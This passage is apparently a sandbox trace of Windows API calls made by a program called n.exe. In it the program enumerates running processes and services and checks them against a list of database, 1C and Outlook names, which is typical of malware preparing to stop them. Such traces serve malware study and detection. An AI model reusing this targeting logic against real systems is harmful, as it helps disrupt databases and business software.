-1 [0160.805] lstrlenW (lpString="UxSms") returned 5 [0160.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0160.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0160.805] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0160.805] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0160.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0160.806] lstrlenW (lpString="WdiServiceHost") returned 14 [0160.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0160.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0160.806] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0160.806] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0160.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0160.806] lstrlenW (lpString="WdiSystemHost") returned 13 [0160.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0160.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0160.806] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0160.806] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0160.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0160.806] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0160.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0160.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0160.806] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0160.806] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0160.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0160.806] lstrlenW (lpString="Winmgmt") returned 7 [0160.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0160.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0160.806] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0160.806] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0160.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0160.806] lstrlenW (lpString="WPDBusEnum") returned 10 [0160.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0160.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0160.806] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0160.806] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0160.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0160.807] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x687228 | out: hHeap=0x630000) returned 1 [0160.807] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2e0 [0160.808] Process32FirstW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0160.809] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0160.810] lstrlenW (lpString="System") returned 6 [0160.810] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0160.810] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0160.810] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0160.810] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0160.810] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0160.810] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0160.810] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0160.810] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0160.811] lstrlenW (lpString="smss.exe") returned 8 [0160.811] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0160.811] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0160.811] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0160.811] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0160.811] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0160.811] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0160.811] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0160.811] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0160.811] lstrlenW (lpString="csrss.exe") returned 9 [0160.811] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0160.811] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0160.811] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0160.811] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0160.811] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0160.811] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0160.811] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0160.811] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0160.812] lstrlenW (lpString="wininit.exe") returned 11 [0160.812] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0160.812] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0160.812] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0160.812] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0160.812] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0160.812] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0160.812] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0160.812] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0160.812] lstrlenW (lpString="csrss.exe") returned 9 [0160.812] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0160.812] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0160.812] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0160.812] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0160.812] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0160.812] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0160.813] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0160.813] lstrlenW (lpString="winlogon.exe") returned 12 [0160.813] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0160.813] lstrlenW (lpString="services.exe") returned 12 [0160.813] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0160.814] lstrlenW (lpString="lsass.exe") returned 9 [0160.814] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0160.814] lstrlenW (lpString="lsm.exe") returned 7 [0160.814] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.814] lstrlenW (lpString="svchost.exe") returned 11 [0160.814] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.815] lstrlenW (lpString="svchost.exe") returned 11 [0160.815] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.815] lstrlenW (lpString="svchost.exe") returned 11 [0160.815] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.815] lstrlenW (lpString="svchost.exe") returned 11 [0160.815] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.816] lstrlenW (lpString="svchost.exe") returned 11 [0160.816] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0160.816] lstrlenW (lpString="audiodg.exe") returned 11 [0160.816] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.816] lstrlenW (lpString="svchost.exe") returned 11 [0160.816] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0160.817] lstrlenW (lpString="explorer.exe") returned 12 [0160.817] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0160.817] lstrlenW (lpString="dwm.exe") returned 7 [0160.817] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.817] lstrlenW (lpString="svchost.exe") returned 11 [0160.818] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0160.818] lstrlenW (lpString="n.exe") returned 5 [0160.818] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0160.818] lstrlenW (lpString="spoolsv.exe") returned 11 [0160.818] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.819] lstrlenW (lpString="svchost.exe") returned 11 [0160.819] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0160.819] lstrlenW (lpString="taskhost.exe") returned 12 [0160.819] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0160.819] lstrlenW (lpString="reader_sl.exe") returned 13 [0160.819] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0160.820] lstrlenW (lpString="n.exe") returned 5 [0160.820] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0160.820] lstrlenW (lpString="dllhost.exe") returned 11 [0160.820] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0160.820] lstrlenW (lpString="dllhost.exe") returned 11 [0160.820] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0160.821] lstrlenW (lpString="n.exe") returned 5 [0160.821] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 0 [0160.821] CloseHandle (hObject=0x2e0) returned 1 [0160.821] Sleep (dwMilliseconds=0x1f4) [0161.526] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7263e0 [0161.527] EnumServicesStatusExW (in: hSCManager=0x7263e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0161.527] GetLastError () returned 0xea [0161.527] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e4) returned 0x42d70a0 [0161.527] EnumServicesStatusExW (in: hSCManager=0x7263e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42d70a0, cbBufSize=0x11e4, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42d70a0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0161.528] CloseServiceHandle (hSCObject=0x7263e0) returned 1 [0161.528] lstrlenW (lpString="Appinfo") returned 7 [0161.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0161.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0161.528] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0161.528] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0161.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0161.528] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0161.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0161.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0161.529] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0161.529] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0161.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0161.529] lstrlenW (lpString="AudioSrv") returned 8 [0161.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0161.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0161.529] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0161.529] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0161.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0161.529] lstrlenW (lpString="BFE") returned 3 [0161.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0161.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0161.529] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0161.529] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0161.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0161.529] lstrlenW (lpString="CryptSvc") returned 8 [0161.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0161.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0161.529] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0161.529] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0161.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0161.529] lstrlenW (lpString="CscService") returned 10 [0161.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0161.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0161.529] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0161.529] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0161.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0161.529] lstrlenW (lpString="DcomLaunch") returned 10 [0161.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0161.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0161.530] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0161.530] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0161.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0161.530] lstrlenW (lpString="Dhcp") returned 4 [0161.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0161.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0161.530] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0161.530] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0161.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0161.530] lstrlenW (lpString="Dnscache") returned 8 [0161.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0161.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0161.530] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0161.530] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0161.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0161.530] lstrlenW (lpString="DPS") returned 3 [0161.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0161.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0161.530] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0161.530] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0161.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0161.530] lstrlenW (lpString="eventlog") returned 8 [0161.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0161.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0161.530] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0161.530] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0161.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0161.530] lstrlenW (lpString="EventSystem") returned 11 [0161.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0161.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0161.531] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0161.531] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0161.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0161.531] lstrlenW (lpString="gpsvc") returned 5 [0161.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0161.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0161.531] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0161.531] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0161.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0161.531] lstrlenW (lpString="iphlpsvc") returned 8 [0161.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0161.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0161.531] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0161.531] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0161.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0161.531] lstrlenW (lpString="LanmanServer") returned 12 [0161.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0161.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0161.531] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0161.531] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0161.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0161.531] lstrlenW (lpString="LanmanWorkstation") returned 17 [0161.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0161.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0161.531] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0161.531] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0161.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0161.531] lstrlenW (lpString="lmhosts") returned 7 [0161.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0161.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0161.532] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0161.532] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0161.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0161.532] lstrlenW (lpString="MMCSS") returned 5 [0161.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0161.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0161.532] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0161.532] lstrcmpiW 